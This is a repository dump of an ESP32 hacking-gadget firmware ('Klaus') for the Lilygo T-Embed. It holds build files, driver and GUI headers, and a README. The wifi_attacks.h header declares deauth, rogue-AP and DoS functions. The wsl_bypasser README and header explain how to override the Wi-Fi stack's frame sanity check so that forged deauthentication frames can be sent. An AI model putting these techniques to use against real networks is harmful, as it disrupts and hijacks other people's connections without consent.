├── components ├── gui │ ├── idf_component.yml │ ├── images_png │ │ ├── sd_15.png │ │ ├── rfid_85.png │ │ ├── scan_85.png │ │ ├── battery_15.png │ │ ├── charge_15.png │ │ ├── nowifi_85.png │ │ ├── tools_85.png │ │ ├── wifi_ok_15.png │ │ ├── klaus_112x85.png │ │ ├── wifi_107x85.png │ │ ├── wifi_nok_15.png │ │ ├── klaus_dab_126x85.png │ │ ├── klaus_fuck_100x85.png │ │ ├── klaus_afraid_104x85.png │ │ └── klaus_bored_102x85.png │ ├── gui.h │ ├── views │ │ ├── main_menu_view.h │ │ ├── scan_view.h │ │ ├── test_view.h │ │ ├── wifi_menu_view.h │ │ ├── tools_view.h │ │ ├── splash_view.h │ │ ├── rfid_menu_view.h │ │ ├── CMakelists.txt │ │ ├── test_view.c │ │ ├── splash_view.c │ │ ├── wifi_menu_view.c │ │ ├── main_menu_view.c │ │ ├── status_bar.h │ │ ├── tools_view.c │ │ ├── scan_view.c │ │ └── rfid_menu_view.c │ ├── view_commons.c │ ├── view_commons.h │ ├── popup.h │ ├── style.h │ ├── CMakeLists.txt │ ├── gui.c │ ├── style.c │ └── popup.c ├── userinputs │ ├── idf_component.yml │ ├── CMakeLists.txt │ ├── userinputs.h │ └── userinputs.c ├── sd │ ├── CMakeLists.txt │ ├── sd.h │ └── sd.c ├── bq25896 │ ├── CMakeLists.txt │ ├── bq25896.h │ └── bq25896.c ├── bq27220 │ ├── CMakeLists.txt │ ├── bq27220.h │ ├── bq27220_registers.h │ └── bq27220.c ├── config │ ├── CMakeLists.txt │ ├── config.h │ └── config.c ├── pn532 │ ├── CMakeLists.txt │ ├── pn532.h │ ├── pn532_registers.h │ └── pn532.c ├── clock │ ├── CMakeLists.txt │ ├── clock.h │ └── clock.c ├── battery │ ├── CMakeLists.txt │ ├── battery.h │ └── battery.c ├── peripherals │ ├── CMakeLists.txt │ └── peripherals.h ├── display │ ├── CMakeLists.txt │ ├── display.h │ └── display.c ├── wifi │ ├── CMakeLists.txt │ ├── wifi_attacks.h │ ├── wifi.h │ ├── wifi_attacks.c │ └── wifi.c └── wsl_bypasser │ ├── CMakeLists.txt │ ├── interface │ └── wsl_bypasser.h │ ├── README.md │ └── wsl_bypasser.c ├── main ├── idf_component.yml ├── CMakeLists.txt └── main.c ├── .gitignore ├── klaus_config.json ├── partitions.csv ├── CMakeLists.txt ├── README.md ├── sdkconfig.defaults └── LICENSE /components/gui/idf_component.yml: -------------------------------------------------------------------------------- 1 | dependencies: 2 | espressif/esp_lvgl_port: "^2.4.2" -------------------------------------------------------------------------------- /components/userinputs/idf_component.yml: -------------------------------------------------------------------------------- 1 | dependencies: 2 | espressif/button: "^3.3.2" -------------------------------------------------------------------------------- /main/idf_component.yml: -------------------------------------------------------------------------------- 1 | ## Required IDF version 2 | idf: 3 | version: ">=5.3.1" 4 | -------------------------------------------------------------------------------- /main/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register(SRCS "main.c" 2 | INCLUDE_DIRS ".") 3 | 4 | -------------------------------------------------------------------------------- /components/gui/images_png/sd_15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/sd_15.png -------------------------------------------------------------------------------- /components/gui/images_png/rfid_85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/rfid_85.png -------------------------------------------------------------------------------- /components/gui/images_png/scan_85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/scan_85.png -------------------------------------------------------------------------------- /components/gui/images_png/battery_15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/battery_15.png -------------------------------------------------------------------------------- /components/gui/images_png/charge_15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/charge_15.png -------------------------------------------------------------------------------- /components/gui/images_png/nowifi_85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/nowifi_85.png -------------------------------------------------------------------------------- /components/gui/images_png/tools_85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/tools_85.png -------------------------------------------------------------------------------- /components/gui/images_png/wifi_ok_15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/wifi_ok_15.png -------------------------------------------------------------------------------- /components/gui/images_png/klaus_112x85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/klaus_112x85.png -------------------------------------------------------------------------------- /components/gui/images_png/wifi_107x85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/wifi_107x85.png -------------------------------------------------------------------------------- /components/gui/images_png/wifi_nok_15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/wifi_nok_15.png -------------------------------------------------------------------------------- /components/sd/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "sd.c" 3 | INCLUDE_DIRS . 4 | REQUIRES driver fatfs 5 | ) -------------------------------------------------------------------------------- /components/bq25896/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "bq25896.c" 3 | INCLUDE_DIRS . 4 | PRIV_REQUIRES driver 5 | ) -------------------------------------------------------------------------------- /components/bq27220/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "bq27220.c" 3 | INCLUDE_DIRS . 4 | PRIV_REQUIRES driver 5 | ) -------------------------------------------------------------------------------- /components/config/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "config.c" 3 | INCLUDE_DIRS . 4 | PRIV_REQUIRES sd json 5 | ) -------------------------------------------------------------------------------- /components/gui/images_png/klaus_dab_126x85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/klaus_dab_126x85.png -------------------------------------------------------------------------------- /components/gui/images_png/klaus_fuck_100x85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/klaus_fuck_100x85.png -------------------------------------------------------------------------------- /components/pn532/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "pn532.c" 3 | INCLUDE_DIRS . 4 | PRIV_REQUIRES driver 5 | ) -------------------------------------------------------------------------------- /components/gui/images_png/klaus_afraid_104x85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/klaus_afraid_104x85.png -------------------------------------------------------------------------------- /components/gui/images_png/klaus_bored_102x85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NaejEL/Klaus/HEAD/components/gui/images_png/klaus_bored_102x85.png -------------------------------------------------------------------------------- /components/clock/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "clock.c" 3 | INCLUDE_DIRS . 4 | PRIV_REQUIRES lwip wifi esp_netif 5 | ) -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /managed_components 3 | /components/gui/images_c 4 | /.vscode 5 | /.devcontainer 6 | /partition_table 7 | sdkconfig 8 | sdkconfig.old 9 | dependencies.lock -------------------------------------------------------------------------------- /components/battery/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "battery.c" 3 | INCLUDE_DIRS . 4 | REQUIRES driver 5 | PRIV_REQUIRES bq25896 bq27220 6 | ) -------------------------------------------------------------------------------- /klaus_config.json: -------------------------------------------------------------------------------- 1 | { 2 | "ssid": "SSID", 3 | "pass": "WifI_PassWord", 4 | "hostname": "Klaus", 5 | "timezone": "CET-1CEST-2,M3.5.0/02:00:00,M10.5.0/03:00:00" 6 | } 7 | -------------------------------------------------------------------------------- /components/gui/gui.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Common ESP-IDF Helpers 4 | #include "esp_check.h" 5 | #include "esp_err.h" 6 | #include "esp_log.h" 7 | 8 | esp_err_t gui_init(void); -------------------------------------------------------------------------------- /components/userinputs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "userinputs.c" 3 | INCLUDE_DIRS . 4 | PRIV_REQUIRES esp_driver_gpio esp_driver_pcnt freertos 5 | ) -------------------------------------------------------------------------------- /partitions.csv: -------------------------------------------------------------------------------- 1 | # ESP-IDF Partition Table 2 | # Name, Type, SubType, Offset, Size, Flags 3 | nvs,data,nvs,,0x6000,, 4 | phy_init,data,phy,,0x1000,, 5 | factory,app,factory,,15000K,, 6 | -------------------------------------------------------------------------------- /components/peripherals/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register(SRCS "peripherals.h" 2 | INCLUDE_DIRS "." 3 | REQUIRES driver 4 | ) 5 | 6 | -------------------------------------------------------------------------------- /components/display/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "display.c" 3 | INCLUDE_DIRS . 4 | REQUIRES esp_lcd 5 | PRIV_REQUIRES esp_driver_spi esp_driver_gpio esp_driver_ledc 6 | ) -------------------------------------------------------------------------------- /components/wifi/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "wifi.c" "wifi_attacks.c" 3 | INCLUDE_DIRS . 4 | REQUIRES esp_wifi 5 | PRIV_REQUIRES nvs_flash wsl_bypasser esp_timer 6 | ) -------------------------------------------------------------------------------- /components/gui/views/main_menu_view.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_lvgl_port.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | void main_menu_view_init(void); 8 | 9 | view_handler_t *main_menu_view_get_handler(void); -------------------------------------------------------------------------------- /components/gui/views/scan_view.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_lvgl_port.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | void scan_view_init(void); 8 | 9 | view_handler_t *scan_view_get_handler(void); 10 | -------------------------------------------------------------------------------- /components/gui/views/test_view.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_lvgl_port.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | void test_view_init(void); 8 | 9 | view_handler_t *test_view_get_handler(void); 10 | -------------------------------------------------------------------------------- /components/gui/views/wifi_menu_view.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_lvgl_port.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | void wifi_menu_view_init(void); 8 | 9 | view_handler_t *wifi_menu_view_get_handler(void); -------------------------------------------------------------------------------- /components/gui/views/tools_view.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_lvgl_port.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | void tools_view_init(void); 8 | 9 | view_handler_t *tools_view_get_handler(void); 10 | -------------------------------------------------------------------------------- /components/wsl_bypasser/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "wsl_bypasser.c" 3 | INCLUDE_DIRS "interface" 4 | REQUIRES esp_wifi 5 | PRIV_REQUIRES wifi 6 | ) 7 | target_link_libraries(${COMPONENT_LIB} -Wl,-zmuldefs) -------------------------------------------------------------------------------- /components/battery/battery.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // I2C 4 | #include 5 | 6 | void battery_init(i2c_port_t i2c_port, SemaphoreHandle_t i2c_lock); 7 | uint16_t battery_get_percent(void); 8 | bool battery_get_charging_state(void); -------------------------------------------------------------------------------- /components/gui/views/splash_view.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_lvgl_port.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | void splash_view_init(void); 8 | 9 | view_handler_t *splash_view_get_handler(void); 10 | -------------------------------------------------------------------------------- /components/gui/views/rfid_menu_view.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_lvgl_port.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | void rfid_menu_view_init(void); 8 | 9 | view_handler_t *rfid_menu_view_get_handler(void); 10 | -------------------------------------------------------------------------------- /components/gui/view_commons.c: -------------------------------------------------------------------------------- 1 | #include "view_commons.h" 2 | 3 | static view_handler_t *current_view_handler; 4 | 5 | view_handler_t *get_current_view_handler(void) { return current_view_handler; } 6 | 7 | void set_current_view_handler(view_handler_t *view_handler) { 8 | current_view_handler = view_handler; 9 | } -------------------------------------------------------------------------------- /components/clock/clock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "esp_check.h" 4 | #include "esp_err.h" 5 | #include "esp_log.h" 6 | 7 | /* 8 | Time zone spec: 9 | https://www.gnu.org/software/libc/manual/html_node/TZ-Variable.html 10 | */ 11 | 12 | esp_err_t clock_set(const char *timezone); 13 | const char *clock_get_time(void); -------------------------------------------------------------------------------- /components/gui/views/CMakelists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register( 2 | SRCS "test_view.c" 3 | "splash_view.c" 4 | "main_menu_view.c" 5 | "wifi_menu_view.c" 6 | "scan_view.c" 7 | "rfid_menu_view.c" 8 | "tools_view.c" 9 | INCLUDE_DIRS . 10 | PRIV_REQUIRES display userinputs wifi pn532 11 | ) -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # For more information about build system see 2 | # https://docs.espressif.com/projects/esp-idf/en/latest/api-guides/build-system.html 3 | # The following five lines of boilerplate have to be in your project's 4 | # CMakeLists in this exact order for cmake to work correctly 5 | cmake_minimum_required(VERSION 3.16) 6 | 7 | include($ENV{IDF_PATH}/tools/cmake/project.cmake) 8 | project(KlausFirmware) 9 | -------------------------------------------------------------------------------- /components/battery/battery.c: -------------------------------------------------------------------------------- 1 | #include "battery.h" 2 | 3 | #include "bq25896.h" 4 | #include "bq27220.h" 5 | 6 | void battery_init(i2c_port_t i2c_port, SemaphoreHandle_t i2c_lock) { 7 | bq25896_init(i2c_port, i2c_lock); 8 | bq27220_init(i2c_port, i2c_lock); 9 | } 10 | 11 | uint16_t battery_get_percent(void) { return bq27220_get_state_of_charge(); } 12 | 13 | bool battery_get_charging_state(void) { return bq27220_get_is_charging(); } -------------------------------------------------------------------------------- /components/sd/sd.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "driver/sdspi_host.h" 4 | #include "esp_vfs_fat.h" 5 | #include "sdmmc_cmd.h" 6 | #include 7 | 8 | #define MOUNT_POINT "/KlausSD" 9 | #define MAX_PATH_SIZE 254 10 | 11 | esp_err_t sd_init(spi_host_device_t spi_host, gpio_num_t cs); 12 | 13 | esp_err_t sd_write_file(const char *path, char *data); 14 | 15 | void sd_ls(const char *path); 16 | 17 | char *sd_get_file_content(const char *path); 18 | 19 | bool sd_is_present(void); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🐡 Klaus 2 | 3 | A cool firmware for the Lilygo T-Embed CC1101 based on ESP-IDF 4 | 5 | ⚠️ Currently at a early stage of development, works but few functionnality at this time 6 | 7 | 🚧 Look at issues to see advancement 👷 8 | 9 | This firmware is largely inspired by the awesome [BRUCE](https://github.com/pr3y/Bruce) firmware. 10 | 11 | [Lilygo T-Embed Shop](https://www.lilygo.cc/products/t-embed-cc1101) 12 | 13 | [Lilygo T-Embed Official Github](https://github.com/Xinyuan-LilyGO/T-Embed-CC1101) 14 | -------------------------------------------------------------------------------- /components/wifi/wifi_attacks.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * All credit to risinek (risinek@gmail.com) 4 | * https://github.com/risinek/esp32-wifi-penetration-tool 5 | * 6 | */ 7 | 8 | #pragma once 9 | 10 | #include "wifi.h" 11 | 12 | void wifi_attack_method_broadcast(const wifi_ap_record_t *ap_record, 13 | unsigned period_sec); 14 | void wifi_attack_method_broadcast_stop(); 15 | void wifi_attack_method_rogueap(const wifi_ap_record_t *ap_record); 16 | 17 | void wifi_attack_dos_start(const wifi_ap_record_t *ap_record); 18 | void wifi_attack_dos_stop(); -------------------------------------------------------------------------------- /components/userinputs/userinputs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "driver/gpio.h" 4 | #include "esp_err.h" 5 | #include 6 | 7 | typedef enum { 8 | WHEEL_UP, 9 | WHEEL_DOWN, 10 | WHEEL_CLICK_SHORT, 11 | WHEEL_CLICK_LONG, 12 | KEY_CLICK_SHORT, 13 | KEY_CLICK_LONG 14 | } user_actions_t; 15 | 16 | typedef void (*userinputs_callback)(user_actions_t user_action); 17 | 18 | esp_err_t userinputs_init(gpio_num_t key, gpio_num_t wheel_btn, 19 | gpio_num_t wheel_a, gpio_num_t wheel_b); 20 | 21 | void userinputs_register_callback(userinputs_callback callback); 22 | void userinputs_set_ignore(bool ignore); -------------------------------------------------------------------------------- /sdkconfig.defaults: -------------------------------------------------------------------------------- 1 | CONFIG_ESP32_WIFI_NVS_ENABLED=n 2 | 3 | CONFIG_ESPTOOLPY_FLASHSIZE_16MB=y 4 | CONFIG_ESPTOOLPY_FLASHSIZE="16MB" 5 | 6 | CONFIG_PARTITION_TABLE_CUSTOM=y 7 | CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" 8 | CONFIG_PARTITION_TABLE_FILENAME="partitions.csv" 9 | CONFIG_PARTITION_TABLE_OFFSET=0x8000 10 | CONFIG_PARTITION_TABLE_MD5=y 11 | 12 | CONFIG_FATFS_LFN_HEAP=y 13 | CONFIG_FATFS_MAX_LFN=255 14 | 15 | CONFIG_LWIP_DHCP_GET_NTP_SRV=y 16 | 17 | CONFIG_LCD_RGB_ISR_IRAM_SAFE=y 18 | 19 | CONFIG_LV_DRAW_SW_COMPLEX=y 20 | CONFIG_LV_USE_DRAW_SW_COMPLEX_GRADIENTS=y 21 | CONFIG_LV_FONT_UNSCII_8=y 22 | CONFIG_LV_FONT_UNSCII_16=y 23 | CONFIG_LV_FONT_DEFAULT_UNSCII_8=y -------------------------------------------------------------------------------- /components/gui/view_commons.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "userinputs.h" 4 | 5 | // LVGL 6 | #include "esp_lvgl_port.h" 7 | 8 | typedef struct view_handler_t view_handler_t; 9 | 10 | typedef void (*init_view)(); // xTaskCreate 11 | typedef void (*draw_view)(view_handler_t *calling_view); 12 | typedef void (*clear_view)(); 13 | 14 | struct view_handler_t { 15 | lv_obj_t *obj_view; // lvgl view object 16 | userinputs_callback input_callback; // user inputs handler 17 | draw_view draw_view; // vTaskResume 18 | clear_view clear_view; // lv_obj_clean, vTaskSuspend 19 | }; 20 | 21 | view_handler_t *get_current_view_handler(void); 22 | 23 | void set_current_view_handler(view_handler_t *view_handler); -------------------------------------------------------------------------------- /components/config/config.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Common ESP-IDF Helpers 4 | #include "esp_check.h" 5 | #include "esp_err.h" 6 | #include "esp_log.h" 7 | 8 | #define CONF_ITEMS \ 9 | CONF_ITEM(char *, ssid, "None") \ 10 | CONF_ITEM(char *, pass, "") \ 11 | CONF_ITEM(char *, hostname, "Klaus") \ 12 | CONF_ITEM(char *, timezone, "UTC0") \ 13 | CONF_ITEM(uint8_t, backlight, 50) 14 | 15 | typedef struct { 16 | #define CONF_ITEM(type, name, default_value) type name; 17 | CONF_ITEMS 18 | #undef CONF_ITEM 19 | } klaus_config_t; 20 | 21 | esp_err_t config_parse_config(klaus_config_t *klaus_config); -------------------------------------------------------------------------------- /components/peripherals/peripherals.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | // CC1101 and WS2812 Power switch 8 | #define POWER_SWITCH (GPIO_NUM_15) 9 | 10 | // Inputs 11 | #define KEY_BTN (GPIO_NUM_6) 12 | #define KNOB_BTN (GPIO_NUM_0) 13 | #define KNOB_A (GPIO_NUM_4) 14 | #define KNOB_B (GPIO_NUM_5) 15 | 16 | // I2C 17 | #define SDA_PIN (GPIO_NUM_8) 18 | #define SCL_PIN (GPIO_NUM_18) 19 | #define I2C_PORT_NUM (I2C_NUM_0) 20 | #define I2C_FREQ (100000) 21 | 22 | // PN532 23 | #define PN532_IRQ (GPIO_NUM_17) 24 | #define PN532_RESET (GPIO_NUM_45) 25 | 26 | // SPI 27 | #define SPI_MIS0 (GPIO_NUM_10) 28 | #define SPI_MOSI (GPIO_NUM_9) 29 | #define SPI_CLK (GPIO_NUM_11) 30 | #define SPI_NUM (SPI2_HOST) 31 | 32 | // ST7789 33 | #define LCD_CS (GPIO_NUM_41) 34 | #define LCD_DC (GPIO_NUM_16) 35 | #define LCD_RST (GPIO_NUM_40) 36 | #define LCD_BACKLIGHT (GPIO_NUM_21) 37 | 38 | // TF Card 39 | #define SD_CS (GPIO_NUM_13) 40 | 41 | // CC1101 42 | // WS2812 43 | // I2S 44 | // IR 45 | // Microphone -------------------------------------------------------------------------------- /components/gui/popup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "stddef.h" 4 | #include "userinputs.h" 5 | 6 | typedef struct popup_content_t popup_content_t; 7 | typedef struct popup_config_t popup_config_t; 8 | 9 | typedef void (*popup_callback)(popup_content_t *content); 10 | 11 | typedef enum { 12 | POPUP_NOT_USED, 13 | POPUP_INFO, 14 | POPUP_ALERT, 15 | POPUP_KEYBOARD, 16 | POPUP_MENU, 17 | POPUP_TYPES_SIZE 18 | } popup_types_t; 19 | 20 | struct popup_config_t { 21 | popup_types_t type; 22 | char *title; // Null if none 23 | char *content; // Null if none 24 | char **items; // Null if none 25 | size_t nb_items; 26 | popup_callback callback; 27 | }; 28 | 29 | struct popup_content_t { 30 | popup_types_t type; 31 | char *content; // Only useful for keyboard type 32 | size_t content_index; // text size or item selected index 33 | bool user_validation; // True if wheelclick, false if return 34 | }; 35 | 36 | void popup_start(popup_config_t *config); 37 | 38 | popup_types_t popup_get_current_type(void); 39 | 40 | void popup_input(user_actions_t action); -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Jean LE QUELLEC 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /components/wsl_bypasser/interface/wsl_bypasser.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file wsl_bypasser.h 3 | * @author risinek (risinek@gmail.com) 4 | * @date 2021-04-05 5 | * @copyright Copyright (c) 2021 6 | * 7 | * @brief Provides interface for Wi-Fi Stack Libraries bypasser 8 | * 9 | * This component bypasses blocking mechanism that doesn't allow sending some 10 | * arbitrary 802.11 frames like deauth etc. 11 | */ 12 | #ifndef WSL_BYPASSER_H 13 | #define WSL_BYPASSER_H 14 | 15 | #include "esp_wifi_types.h" 16 | 17 | /** 18 | * @brief Sends frame in frame_buffer using esp_wifi_80211_tx but bypasses 19 | * blocking mechanism 20 | * 21 | * @param frame_buffer 22 | * @param size size of frame buffer 23 | */ 24 | void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size); 25 | 26 | /** 27 | * @brief Sends deauthentication frame with forged source AP from given 28 | * ap_record 29 | * 30 | * This will send deauthentication frame acting as frame from given AP, and 31 | * destination will be broadcast MAC address - \c ff:ff:ff:ff:ff:ff 32 | * 33 | * @param ap_record AP record with valid AP information 34 | */ 35 | void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record); 36 | 37 | #endif -------------------------------------------------------------------------------- /components/display/display.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Common ESP-IDF Helpers 4 | #include "esp_check.h" 5 | #include "esp_err.h" 6 | #include "esp_log.h" 7 | 8 | // SPI 9 | #include "driver/gpio.h" 10 | #include "driver/spi_master.h" 11 | 12 | // ESP LCD 13 | #include "esp_lcd_panel_io.h" 14 | 15 | /* LCD definition */ 16 | #define LCD_H_RES (320) 17 | #define LCD_V_RES (170) 18 | #define LCD_SWAP_XY (1) 19 | #define LCD_MIRROR_X (0) 20 | #define LCD_MIRROR_Y (1) 21 | #define LCD_DRAW_BUFF_SIZE (LCD_H_RES * 10) // *100 22 | #define LCD_DRAW_BUFF_DOUBLE (1) 23 | #define LCD_USE_DMA (1) 24 | #define LCD_USE_SPIRAM (0) 25 | #define LCD_BIGENDIAN (1) 26 | 27 | esp_err_t display_init(spi_host_device_t spi_host, gpio_num_t cs, gpio_num_t dc, 28 | gpio_num_t reset, gpio_num_t backlight); 29 | 30 | esp_lcd_panel_io_handle_t display_get_io_handle(); 31 | 32 | esp_lcd_panel_handle_t display_get_panel_handle(); 33 | 34 | void display_backlight_on(void); 35 | void display_backlight_off(void); 36 | void display_backlight_toggle(void); 37 | void display_backlight_intensity(uint8_t intensity); 38 | void display_blacklight_set_default_intensity(uint8_t intensity); 39 | uint8_t display_backlight_get_intensity(); -------------------------------------------------------------------------------- /components/wsl_bypasser/README.md: -------------------------------------------------------------------------------- 1 | # ESP32 Wi-Fi Penetration Tool 2 | ## Wi-Fi Stack Libraries (WSL) Bypasser component 3 | 4 | This components main purpose is to bypass Wi-Fi Stack Libaries blocking mechanism that disallows sending some types of raw 802.11 frames. 5 | 6 | It's based on [ESP32-Deauther](https://github.com/GANESH-ICMC/esp32-deauther) project, where the function used to check type of frame in frame buffer [was decompiled by Ghidra tool](https://github.com/GANESH-ICMC/esp32-deauther/issues/9) and it's name `ieee80211_raw_frame_sanity_check` was found. 7 | 8 | The princip of this bypass is to use linker flag during compilation that allows multiple function definitions - `-Wl,-zmuldefs`. This allows this component to override default function behaviour and always return value that allows further transmittion of frame buffer by Wi-Fi Stack Libraries. 9 | 10 | This is done in [CMakeLists.txt](CMakeLists.txt) by following line: 11 | ```cmake 12 | target_link_libraries(${COMPONENT_LIB} -Wl,-zmuldefs) 13 | ``` 14 | 15 | And the function itself is defined in [wsl_bypasser.c](wsl_bypasser.c) as: 16 | ```c 17 | int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){ 18 | return 0; 19 | } 20 | ``` -------------------------------------------------------------------------------- /components/config/config.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | #include "sd.h" 3 | #include 4 | 5 | static const char *TAG = "Config"; 6 | static const char *config_file = "klaus_config.json"; 7 | 8 | esp_err_t config_parse_config(klaus_config_t *klaus_config) { 9 | 10 | cJSON *json_config; 11 | char *sd_config = sd_get_file_content(config_file); 12 | json_config = cJSON_Parse(sd_config); 13 | free(sd_config); 14 | 15 | #define CONF_ITEM(_type, name, default_value) \ 16 | klaus_config->name = default_value; \ 17 | cJSON *name = cJSON_GetObjectItem(json_config, #name); \ 18 | if (name) { \ 19 | if (name->type == cJSON_String) { \ 20 | klaus_config->name = name->valuestring; \ 21 | } else if (name->type == cJSON_Number) { \ 22 | klaus_config->name = name->valueint; \ 23 | } \ 24 | } 25 | CONF_ITEMS 26 | #undef CONF_ITEM 27 | 28 | return ESP_OK; 29 | } -------------------------------------------------------------------------------- /components/gui/style.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "view_commons.h" 3 | 4 | /* 5 | 6 | Color Palette: https://www.color-hex.com/color-palette/1052927 7 | 8 | */ 9 | 10 | #define MAIN_SCREEN_HEIGHT (150) 11 | #define MAIN_SCREEN_WIDTH (320) 12 | 13 | #define BACKGROUND_COLOR (0x353D4D) 14 | #define BACKGROUND_GRAD_COLOR (0x0AB2A0) 15 | 16 | #define FOREGROUND_COLOR (0xF8B234) 17 | #define FOREGROUND_GRAD_COLOR (0xE75F3F) 18 | 19 | #define HIGHLIGHT_COLOR (0x00EBBE) 20 | #define HIGHLIGHT_ALT_COLOR (0xF8B234) 21 | #define DANGER_COLOR (0xE75F3F) 22 | 23 | #define TEXT_COLOR (0XF9EDC6) 24 | 25 | #define BAR_BACKGROUND_COLOR (0x00EBBE) 26 | 27 | void style_init(void); 28 | 29 | lv_style_t *style_get_background_main(void); 30 | lv_style_t *style_get_background_status_bar(void); 31 | lv_style_t *style_get_background_title_bar(void); 32 | lv_style_t *style_get_background_transparent(void); 33 | lv_style_t *style_get_background_danger(void); 34 | lv_style_t *style_get_background_highlight(void); 35 | lv_style_t *style_get_background_alt_highlight(void); 36 | lv_style_t *style_get_background_popup(void); 37 | 38 | lv_style_t *style_get_font_bigfont(void); 39 | lv_style_t *style_get_font_highlight(void); 40 | 